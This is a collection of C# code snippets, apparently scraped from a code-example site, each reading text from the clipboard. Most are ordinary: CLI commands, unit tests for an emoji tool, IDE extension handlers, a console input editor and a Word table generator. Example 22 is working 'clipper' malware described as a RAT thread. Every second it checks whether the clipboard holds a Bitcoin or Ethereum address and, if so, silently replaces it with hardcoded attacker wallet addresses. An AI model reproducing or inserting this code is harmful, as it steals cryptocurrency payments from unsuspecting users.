Ejemplo n.º 1
0
        public static void Add(RootCommand command)
        {
            var rr = new Command("readrsa", "3. (本地)读取剪切板公钥值写入txt的pfx文件中");

            rr.AddAlias("rr");
            rr.AddOption(new Option <string>("-val", () => string.Empty, "通过命令行将公钥传入"));
            rr.AddOption(new Option <bool>("-dev", DevDesc));
            rr.Handler = CommandHandler.Create((string val, bool dev) =>
            {
                if (string.IsNullOrWhiteSpace(val))
                {
                    var text = ClipboardService.GetText();
                    if (string.IsNullOrWhiteSpace(text))
                    {
                        Console.WriteLine("错误:读取剪切板值无效!");
                        return;
                    }
                    else
                    {
                        val = text;
                    }
                }

                var value = Serializable.DJSON <AppIdWithPublicKey>(val);

                Handler(value, dev);

                Console.WriteLine("完成。");
            });
            command.AddCommand(rr);
        }
Ejemplo n.º 2
0
        public void Export()
        {
            Run("export tada").StandardOutput.Should().Contain("\"Raw\": \"🎉\"");
            Run("export tada --format json").StandardOutput.Should().Contain("\"Raw\": \"🎉\"");
            Run("export tada -f json").StandardOutput.Should().Contain("\"Raw\": \"🎉\"");
            Run("export tada -f JSON").StandardOutput.Should().Contain("\"Raw\": \"🎉\"");

            Run("export tada --format toml").StandardOutput.Should().Contain("raw = \"🎉\"");
            Run("export tada -f toml").StandardOutput.Should().Contain("raw = \"🎉\"");
            Run("export tada -f TOML").StandardOutput.Should().Contain("raw = \"🎉\"");

            Run("export tada --format xml").StandardOutput.Should().Contain("<Raw>🎉</Raw>");
            Run("export tada -f xml").StandardOutput.Should().Contain("<Raw>🎉</Raw>");
            Run("export tada -f XML").StandardOutput.Should().Contain("<Raw>🎉</Raw>");

            Run("export tada --format yaml").StandardOutput.Should().Contain("- Raw: \"\\U0001F389\"");
            Run("export tada -f yaml").StandardOutput.Should().Contain("- Raw: \"\\U0001F389\"");
            Run("export tada -f YAML").StandardOutput.Should().Contain("- Raw: \"\\U0001F389\"");

            Run("export tada --copy");
            ClipboardService.GetText().Should().Contain("\"Raw\": \"🎉\"");
            Run("export tada -c");
            ClipboardService.GetText().Should().Contain("\"Raw\": \"🎉\"");

            Run("export -h").StandardOutput.Should()
            .Contain("Export emoji data")
            .And.Contain("Find emojis via description, category, alias or tag")
            .And.Contain("Format the data as <json|toml|xml|yaml>");
        }
Ejemplo n.º 3
0
        /// <summary>
        /// Gets text from clipboard.
        /// </summary>
        /// <returns>Clipboard text.</returns>
        public string GetClipboardText()
        {
            // code from http://forums.getpaint.net/index.php?/topic/13712-trouble-accessing-the-clipboard/page__view__findpost__p__226140
            string ret       = String.Empty;
            Thread staThread = new Thread(
                () =>
            {
                try
                {
                    var text = ClipboardService.GetText();
                    if (string.IsNullOrEmpty(text))
                    {
                        return;
                    }
                    ret = text;
                }
                catch (Exception)
                {
                    return;
                }
            });

            staThread.SetApartmentState(ApartmentState.STA);
            staThread.Start();
            staThread.Join();
            // at this point either you have clipboard data or an exception*/
            return(ret);
        }
Ejemplo n.º 4
0
        /// <summary>
        /// This function is the callback used to execute the command when the menu item is clicked.
        /// See the constructor to see how the menu item is associated with this function using
        /// OleMenuCommandService service and MenuCommand class.
        /// </summary>
        /// <param name="sender">Event sender.</param>
        /// <param name="e">Event args.</param>
        private void MenuItemCallback(object sender, EventArgs e)
        {
            var clipboardText = ClipboardService.GetText();

            if (string.IsNullOrWhiteSpace(clipboardText))
            {
                return;
            }

            var formatedText = TextHelper.GetFormattedText(clipboardText);

            if (string.IsNullOrWhiteSpace(formatedText))
            {
                return;
            }

            var dte = (this.package as BaseCommandPackage).GetServiceHelper(typeof(DTE)) as DTE;

            if (dte != null)
            {
                var doc = (TextDocument)dte.Application.ActiveDocument.Object(null);

                doc.Selection.Text = formatedText;

                //doc.EndPoint.CreateEditPoint().Insert(formatedText);
            }
        }
Ejemplo n.º 5
0
        private void ScriptValidByIdBase_Click(object sender, EventArgs e, bool newWindow)
        {
            try
            {
                var menuItem = GetMenuItem();

                if (menuItem == null)
                {
                    return;
                }

                if (newWindow)
                {
                    ScriptFactory.Instance.CreateNewBlankScript(ScriptType.Sql);
                }

                var dte = _package.GetServiceHelper(typeof(DTE)) as DTE;
                if (dte != null)
                {
                    var doc = (TextDocument)dte.Application.ActiveDocument.Object(null);

                    var clipBoardText   = ClipboardService.GetText();
                    var clipBoardIsGuid = Guid.TryParse(clipBoardText, out Guid id);

                    string query = QueryService.GetSelectQuery(menuItem.Tag.ToString(), clipBoardIsGuid ? id.ToString() : string.Empty);

                    doc.EndPoint.CreateEditPoint().Insert(query);
                }
            }
            catch (Exception ex)
            {
            }
        }
Ejemplo n.º 6
0
    void GetText()
    {
        #region GetText

        var text = ClipboardService.GetText();

        #endregion
    }
Ejemplo n.º 7
0
    static void VerifyInner(string expected)
    {
        ClipboardService.SetText(expected);

        var actual = ClipboardService.GetText();

        Assert.AreEqual(expected, actual);
    }
Ejemplo n.º 8
0
 public string PasteX()
 {
     try
     {
         return(ClipboardService.GetText());
     }
     catch (Exception e)
     {
         return("kosong");
     }
 }
        private async void OnAppendReadingToolLink()
        {
            IClipboardService cService = new ClipboardService();
            var htmlBody = await cService.GetText();

            StringBuilder builder = new StringBuilder(htmlBody);

            builder.Append("<br/>");
            builder.Append("<br/>");
            builder.Append("<a href='https://github.com/musmanrafiq/DailyMatureDev'>Reading Tool : https://github.com/musmanrafiq/DailyMatureDev</a>");

            await cService.CopyText(builder.ToString());
        }
        private async Task OnPublish()
        {
            IClipboardService cService = new ClipboardService();
            var htmlBody = await cService.GetText();

            if (!string.IsNullOrEmpty(htmlBody))
            {
                var smtpService  = new SmtpService();
                var prepareTitle = await PrepareTitleForMyBlogPostAsync();

                smtpService.SendEmail(prepareTitle, htmlBody);
            }
        }
Ejemplo n.º 11
0
        public void Demojify()
        {
            Run("demojify Hello, 🌍!").ShouldHaveOutput($"Hello, :earth_africa:!{NewLine}");
            Run("d Hello, 🌍!").ShouldHaveOutput($"Hello, :earth_africa:!{NewLine}");
            Run("d \"Hello, 🌍!\"").ShouldHaveOutput($"Hello, :earth_africa:!{NewLine}");

            Run("d Hello, 🌍! --copy");
            ClipboardService.GetText().Should().Be("Hello, :earth_africa:!");
            Run("d 🎉 -c");
            ClipboardService.GetText().Should().Be(":tada:");

            Run("d -h").StandardOutput.Should()
            .Contain("Replace raw emojis in text with aliases")
            .And.Contain("A text with raw emojis");
        }
Ejemplo n.º 12
0
        public void Emojify()
        {
            Run("emojify Hello, :earth_africa:!").ShouldHaveOutput($"Hello, 🌍!{NewLine}");
            Run("e Hello, :earth_africa:!").ShouldHaveOutput($"Hello, 🌍!{NewLine}");
            Run("e \"Hello, :earth_africa:!\"").ShouldHaveOutput($"Hello, 🌍!{NewLine}");

            Run("e Hello, :earth_africa:! --copy");
            ClipboardService.GetText().Should().Be("Hello, 🌍!");
            Run("e :tada: -c");
            ClipboardService.GetText().Should().Be("🎉");

            Run("e -h").StandardOutput.Should()
            .Contain("Replace aliases in text with raw emojis")
            .And.Contain("A text with emoji aliases");
        }
Ejemplo n.º 13
0
        public void Alias()
        {
            Run("alias earth").ShouldHaveOutput($":earth_africa:{NewLine}:earth_americas:{NewLine}:earth_asia:{NewLine}");
            Run("a earth").ShouldHaveOutput($":earth_africa:{NewLine}:earth_americas:{NewLine}:earth_asia:{NewLine}");
            Run("a globe showing").ShouldHaveOutput($":earth_africa:{NewLine}:earth_americas:{NewLine}:earth_asia:{NewLine}");
            Run("a \"globe showing\"").ShouldHaveOutput($":earth_africa:{NewLine}:earth_americas:{NewLine}:earth_asia:{NewLine}");

            Run("a earth --copy");
            ClipboardService.GetText().Should().Be(":earth_africa::earth_americas::earth_asia:");
            Run("a tada -c");
            ClipboardService.GetText().Should().Be(":tada:");

            Run("a -h").StandardOutput.Should()
            .Contain("Get emoji aliases")
            .And.Contain("Find emojis via description, category, alias or tag");
        }
Ejemplo n.º 14
0
        public void Raw()
        {
            Run("raw earth").ShouldHaveOutput($"🌍{NewLine}🌎{NewLine}🌏{NewLine}");
            Run("r earth").ShouldHaveOutput($"🌍{NewLine}🌎{NewLine}🌏{NewLine}");
            Run("r globe showing").ShouldHaveOutput($"🌍{NewLine}🌎{NewLine}🌏{NewLine}");
            Run("r \"globe showing\"").ShouldHaveOutput($"🌍{NewLine}🌎{NewLine}🌏{NewLine}");

            Run("r earth --copy");
            ClipboardService.GetText().Should().Be("🌍🌎🌏");
            Run("r tada -c");
            ClipboardService.GetText().Should().Be("🎉");

            Run("r -h").StandardOutput.Should()
            .Contain("Get raw emojis")
            .And.Contain("Find emojis via description, category, alias or tag");
        }
Ejemplo n.º 15
0
 private async Task PasteCommandImpl()
 {
     if (ConsoleService.IsEnabled)
     {
         try
         {
             string text  = ClipboardService.GetText();
             int    index = ConsoleService.SelectionStart;
             await ConsoleService.InsertText(index, text);
         }
         catch (ArgumentException e)
         {
             await DialogService.ShowErrorDialogAsync(e.Message, "Exception");
         }
     }
 }
Ejemplo n.º 16
0
		public void TestDay1Part1()
		{
			TextWriter standardOut = Console.Out;
			try
			{
				StringWriter sw = new StringWriter();
				Console.SetOut(sw);

				Runner.Run(new[] { "1", "1" });
				Assert.AreEqual($"test input{Environment.NewLine}", sw.ToString());
				Assert.AreEqual("test input", ClipboardService.GetText());
			}
			finally
			{
				Console.SetOut(standardOut);
			}
		}
Ejemplo n.º 17
0
        public static void Add(RootCommand command)
        {
            var rd = new Command("readdesc", "X. (本地)读取剪切板更新日志生成一行数据复制到剪切板中");

            rd.AddAlias("rd");
            rd.Handler = CommandHandler.Create(() =>
            {
                var text = ClipboardService.GetText();
                if (string.IsNullOrWhiteSpace(text))
                {
                    Console.WriteLine("错误:读取剪切板值无效!");
                    return;
                }
                var array = text.Split(Environment.NewLine);
                text      = string.Join(';', array);
                text      = $"\"{text}\"";
                ClipboardService.SetText(text);
                Console.WriteLine("OK");
            });
            command.AddCommand(rd);
        }
Ejemplo n.º 18
0
        private async Task PasteAndSendLinesCommandImpl()
        {
            try
            {
                if (ConsoleService.IsEnabled)
                {
                    string text = ClipboardService.GetText();

                    var lines = Regex.Split(text, $"(?={SettingsService.NewLine})");
                    if (lines.Length > 1)
                    {
                        foreach (var line in lines)
                        {
                            if (!Session.IsRunning)
                            {
                                // The session has ended break the loop.
                                break;
                            }

                            int index = ConsoleService.SelectionStart;
                            await ConsoleService.InsertText(index, line);

                            SerialPortService.Write(line);

                            if (SettingsService.LinePushDelay > 0)
                            {
                                await TaskHelpers.Delay(SettingsService.LinePushDelay);
                            }
                        }
                    }
                }
            }
            catch (ArgumentException e)
            {
                await DialogService.ShowErrorDialogAsync(e.Message, "Exception");
            }
        }
Ejemplo n.º 19
0
        public static void Add(RootCommand command)
        {
            var rmci = new Command("read_msal_client_id", "读取 MSALClientId 写入txt的pfx文件中");

            rmci.AddAlias("rmci");
            rmci.AddOption(new Option <string>("-val", () => string.Empty, "通过命令行将值传入"));
            rmci.Handler = CommandHandler.Create((string val) =>
            {
                if (string.IsNullOrWhiteSpace(val))
                {
                    var text = ClipboardService.GetText();
                    if (string.IsNullOrWhiteSpace(text))
                    {
                        Console.WriteLine("错误:读取剪切板值无效!");
                        return;
                    }
                    else
                    {
                        val = text;
                    }
                }

                if (!Guid.TryParse(val, out var guid))
                {
                    Console.WriteLine("错误:值无效!");
                    return;
                }

                var filePath = Path.Combine(projPath, "masl-client-id.pfx");
                IOPath.FileIfExistsItDelete(filePath);
                File.WriteAllBytes(filePath, guid.ToByteArray());

                Console.WriteLine("完成。");
                Console.WriteLine(filePath);
            });
            command.AddCommand(rmci);
        }
Ejemplo n.º 20
0
        static void CheckClipBoardChange()
        {
            string cb = ClipboardService.GetText();

            while (true)
            {
                Thread.Sleep(100);
                string cbt = ClipboardService.GetText();
                if (cbt == null)
                {
                    continue;
                }
                if (cb != cbt && cbt.Length > 0)
                {
                    Console.WriteLine($"Clipboard changed: {cbt}");
                    cb = cbt;
                    byte[] cbb     = Encoding.UTF8.GetBytes(cb);
                    byte[] message = new byte[4 + cbb.Length];
                    secretCode.CopyTo(message, 0);
                    cbb.CopyTo(message, 4);
                    udpClient.Send(message, message.Length, groupEp);
                }
            }
        }
Ejemplo n.º 21
0
 /// <summary>
 /// Gets text from clipboard.
 /// </summary>
 /// <returns>Clipboard text.</returns>
 public static string GetClipboardText()
 {
     return(ClipboardService.GetText());
 }
Ejemplo n.º 22
0
        /// <summary>
        /// The entry point of the RAT thread.
        /// </summary>
        /// <param name="Context">The context.</param>
        private static void RatThreadRoutine(object Context)
        {
            var IsRunning = true;

            //
            // While the RAT runs...
            //

            while (IsRunning)
            {
                Debug.WriteLine("Executing tick on the RAT thread...", "EVENT");

                //
                // Retrieve the text saved in the clipboard.
                //

                var ClipboardText = ClipboardService.GetText();

                if (string.IsNullOrEmpty(ClipboardText))
                {
                    goto WaitForNextLoop;
                }

                //
                // If the crypto-address replacement feature is enabled...
                //

                if (true)
                {
                    //
                    // If the clipboard does not contain our bitcoin address..
                    //

                    if (!string.Equals(ClipboardText, "3HxNb6nHFh2GgPDdCbD76tkFw5WB27hqfS"))
                    {
                        //
                        // ..and the clipboard text IS a bitcoin address.
                        //

                        if (BitcoinAddress.IsValid(ClipboardText))
                        {
                            Debug.WriteLine($"The clipboard contains a valid bitcoin address. (Address: {ClipboardText})", "ACTION");

                            //
                            // Set our address instead.
                            //

                            ClipboardService.SetText("3HxNb6nHFh2GgPDdCbD76tkFw5WB27hqfS");
                            Debug.WriteLine("We've replaced the clipboard text with our bitcoin address.", "ACTION");
                        }
                    }
                    else
                    {
                        Debug.WriteLine($"The clipboard contains OUR bitcoin address. (Address: {ClipboardText})", "LOG");
                    }

                    //
                    // If the clipboard does not contain our ethereum address..
                    //

                    if (!string.Equals(ClipboardText, "0x93Efc562CC3F67bE28C609c59879f90F1cB9757a"))
                    {
                        //
                        // ..and the clipboard text IS a ethereum address.
                        //

                        if (EthereumAddress.IsValid(ClipboardText))
                        {
                            Debug.WriteLine($"The clipboard contains a valid ethereum address. (Address: {ClipboardText})", "ACTION");

                            //
                            // Set our address instead.
                            //

                            ClipboardService.SetText("0x93Efc562CC3F67bE28C609c59879f90F1cB9757a");
                            Debug.WriteLine("We've replaced the clipboard text with our ethereum address.", "ACTION");
                        }
                    }
                    else
                    {
                        Debug.WriteLine($"The clipboard contains OUR ethereum address. (Address: {ClipboardText})", "LOG");
                    }
                }

                //
                // Wait 1 second before running again.
                //

WaitForNextLoop:
                Thread.Sleep(1000);
            }
        }
Ejemplo n.º 23
0
        public string GetInputLineNoSuffix(string prefix)
        {
            pref      = prefix;
            Prompting = true;
            if (pref == "" == false)
            {
                Console.Write(pref.Replace("$<path>", Environment.CurrentDirectory) + characters);
            }
            if (queuedinput.Count == 0 == false)
            {
                string line2 = queuedinput[0];
                queuedinput.RemoveAt(0);
                bool run = false;
                if (line2.EndsWith("\n"))
                {
                    line2 = line2.Remove(line2.LastIndexOf("\n"));
                    run   = true;
                }
                characters += line2;
                Console.Write(line2);
                if (cmdnum == cmds.Count == false)
                {
                    cmdnum = cmds.Count;
                }
                usefirstafterpress = false;
                firstafterpress    = false;
                if (run)
                {
                    string s = characters;
                    try
                    {
                        if (cmdnum == cmds.Count)
                        {
                            cmds.Add(characters);
                            cmdnum++;
                            memory             = "";
                            usefirstafterpress = false;
                        }
                        else
                        {
                            firstafterpress    = true;
                            usefirstafterpress = true;
                            cmdnum++;
                            memory = "";
                        }
                    }
                    catch
                    {
                    }
                    characters = "";
                    Console.WriteLine();
                    Prompting = false;
                    return(s);
                }
            }
            do
            {
                ConsoleKeyInfo key = Console.ReadKey(true);

                if (key.Key != ConsoleKey.Backspace && key.Key != ConsoleKey.Enter && key.Key != ConsoleKey.UpArrow && key.Key != ConsoleKey.DownArrow && key.Key != ConsoleKey.LeftArrow && key.Key != ConsoleKey.RightArrow)
                {
                    if (key.KeyChar == '\0' == false && key.Key == ConsoleKey.Tab == false && key.Modifiers.HasFlag(ConsoleModifiers.Control) == false)
                    {
                        characters += key.KeyChar;
                        Console.Write(key.KeyChar);
                        if (cmdnum == cmds.Count == false)
                        {
                            cmdnum = cmds.Count;
                        }
                        usefirstafterpress = false;
                        firstafterpress    = false;
                    }
                    else if (key.Key == ConsoleKey.V && key.Modifiers.HasFlag(ConsoleModifiers.Control))
                    {
                        string data = ClipboardService.GetText();

                        data = data.Replace("\r", "");
                        if (data.Contains("\n"))
                        {
                            bool endswithrun = data.EndsWith("\n");

                            int i = 0;
                            foreach (string line in data.Split('\n'))
                            {
                                if ((data.Split('\n').Count() - 1) == i++)
                                {
                                    if (endswithrun)
                                    {
                                        queuedinput.Add(line + "\n");
                                    }
                                    else
                                    {
                                        queuedinput.Add(line);
                                    }
                                }
                                else
                                {
                                    queuedinput.Add(line + "\n");
                                }
                            }

                            string line2 = queuedinput[0];
                            queuedinput.RemoveAt(0);
                            bool run = false;
                            if (line2.EndsWith("\n"))
                            {
                                line2 = line2.Remove(line2.LastIndexOf("\n"));
                                run   = true;
                            }
                            characters += line2;
                            Console.Write(line2);
                            if (cmdnum == cmds.Count == false)
                            {
                                cmdnum = cmds.Count;
                            }
                            usefirstafterpress = false;
                            firstafterpress    = false;
                            if (run)
                            {
                                string s = characters;
                                try
                                {
                                    if (cmdnum == cmds.Count)
                                    {
                                        cmds.Add(characters);
                                        cmdnum++;
                                        memory             = "";
                                        usefirstafterpress = false;
                                    }
                                    else
                                    {
                                        firstafterpress    = true;
                                        usefirstafterpress = true;
                                        cmdnum++;
                                        memory = "";
                                    }
                                }
                                catch
                                {
                                }
                                characters = "";
                                Console.WriteLine();
                                Prompting = false;
                                return(s);
                            }
                        }
                        else
                        {
                            queuedinput.Add(data);
                            string line2 = queuedinput[0];
                            queuedinput.RemoveAt(0);
                            characters += line2;
                            Console.Write(line2);
                            if (cmdnum == cmds.Count == false)
                            {
                                cmdnum = cmds.Count;
                            }
                            usefirstafterpress = false;
                            firstafterpress    = false;
                        }
                    }
                }
                else
                {
                    if (key.Key == ConsoleKey.Backspace && characters.Length > 0)
                    {
                        characters = characters.Substring(0, (characters.Length - 1));
                        if (Console.CursorLeft == 0)
                        {
                            Console.SetCursorPosition(Console.BufferWidth - 1, Console.CursorTop - 1);
                            Console.Write(" ");
                            Console.SetCursorPosition(Console.BufferWidth - 1, Console.CursorTop - 1);
                        }
                        else
                        {
                            Console.Write("\b \b");
                        }
                        if (cmdnum == cmds.Count == false)
                        {
                            cmdnum = cmds.Count;
                        }
                        usefirstafterpress = false;
                        firstafterpress    = false;
                    }
                    else if (key.Key == ConsoleKey.UpArrow)
                    {
                        if (cmdnum == 0 == false)
                        {
                            if (cmds.Count == cmdnum)
                            {
                                memory = characters;
                            }
                            while (characters == "" == false)
                            {
                                characters = characters.Substring(0, (characters.Length - 1));
                                if (Console.CursorLeft == 0)
                                {
                                    Console.SetCursorPosition(Console.BufferWidth - 1, Console.CursorTop - 1);
                                    Console.Write(" ");
                                    Console.SetCursorPosition(Console.BufferWidth - 1, Console.CursorTop - 1);
                                }
                                else
                                {
                                    Console.Write("\b \b");
                                }
                            }

                            usefirstafterpress = false;
                            firstafterpress    = false;
                            cmdnum--;
                            characters = cmds[cmdnum];
                            Console.Write(cmds[cmdnum]);
                        }
                    }
                    else if (key.Key == ConsoleKey.DownArrow)
                    {
                        if (usefirstafterpress)
                        {
                            if (firstafterpress)
                            {
                                int c = cmdnum - 1;
                                if (c == cmds.Count + 1 == false)
                                {
                                    cmdnum--;
                                }
                            }
                        }
                        if (cmdnum == cmds.Count == false)
                        {
                            while (characters == "" == false)
                            {
                                characters = characters.Substring(0, (characters.Length - 1));
                                if (Console.CursorLeft == 0)
                                {
                                    Console.SetCursorPosition(Console.BufferWidth - 1, Console.CursorTop - 1);
                                    Console.Write(" ");
                                    Console.SetCursorPosition(Console.BufferWidth - 1, Console.CursorTop - 1);
                                }
                                else
                                {
                                    Console.Write("\b \b");
                                }
                            }
                            firstafterpress    = false;
                            usefirstafterpress = false;
                            if ((cmdnum + 1) == cmds.Count)
                            {
                                cmdnum++;
                                Console.Write(memory);
                                characters = memory;
                            }
                            else
                            {
                                cmdnum++;
                                characters = cmds[cmdnum];
                                Console.Write(cmds[cmdnum]);
                            }
                        }
                    }
                    else if (key.Key == ConsoleKey.Enter)
                    {
                        string s = characters;
                        try
                        {
                            if (cmdnum == cmds.Count)
                            {
                                cmds.Add(characters);
                                cmdnum++;
                                memory             = "";
                                usefirstafterpress = false;
                            }
                            else
                            {
                                firstafterpress    = true;
                                usefirstafterpress = true;
                                cmdnum++;
                                memory = "";
                            }
                        }
                        catch
                        {
                        }
                        characters = "";
                        Console.WriteLine();
                        Prompting = false;
                        return(s);
                    }
                }
            } while (true);
        }
Ejemplo n.º 24
0
 /// <inheritdoc />
 public virtual string?GetText()
 {
     return(ClipboardService.GetText());
 }
Ejemplo n.º 25
0
        static void Main(string[] args)
        {
            File.Copy("程式異動申請清單.tpl.docx", "程式異動申請清單.docx", true);

/*
 * .vscodeignore	.vscodeignore	Added	1	0
 * CHANGELOG.md	.md	Modified	43	3
 * README.md	.md	Modified	89	5
 * package.json	.json	Modified	4	2
 * snippets/go.json	.json	Modified	26	6
 */
            // 讀取剪貼簿內容
            var text = ClipboardService.GetText();

            #if DEBUG
            text = @".vscodeignore	.vscodeignore	Added	1	0
CHANGELOG.md	.md	Modified	43	3
a/b/c/README.md	.md	Modified	89	5
package.json	.json	Modified	4	2
snippets/go.json	.json	Modified	26	6"            ;
            #endif

            var records = new List <GitDiff>();
            foreach (var item in Regex.Split(text, "\r\n|\r|\n"))
            {
                var line = item.Trim();

                if (String.IsNullOrEmpty(line))
                {
                    continue;
                }

                var fields = line.Split(new[] { '\t' });
                records.Add(new GitDiff()
                {
                    File         = fields[0],
                    Extension    = fields[1],
                    Action       = fields[2],
                    LinesAdded   = fields[3],
                    LinesRemoved = fields[4]
                });
            }

            using (WordprocessingDocument doc = WordprocessingDocument.Open("程式異動申請清單.docx", true))
            {
                // Find the first table in the document.
                Table table = doc.MainDocumentPart.Document.Body.Elements <Table>().First();

                var rows = table.Elements <TableRow>().Count();

                TableRow secondRow = table.Elements <TableRow>().ElementAt(1).CloneNode(true) as TableRow;
                TableRow lastRow   = table.Elements <TableRow>().ElementAt(rows - 1).CloneNode(true) as TableRow;

                for (int i = rows - 1; i > 0; i--)
                {
                    table.Elements <TableRow>().ElementAt(i).Remove();
                }

                for (int i = 0; i < records.Count; i++)
                {
                    var row = secondRow.CloneNode(true) as TableRow;
                    SetCell(row, 0, String.Format("{0:D2}", i + 1));
                    SetCell(row, 1, Path.GetFileName(records[i].File));
                    SetCell(row, 2, Path.GetDirectoryName(records[i].File));
                    SetCell(row, 3, GetActionCode(records[i].Action));
                    table.Append(row);
                }

                table.Append(lastRow.CloneNode(true) as TableRow);
            }
        }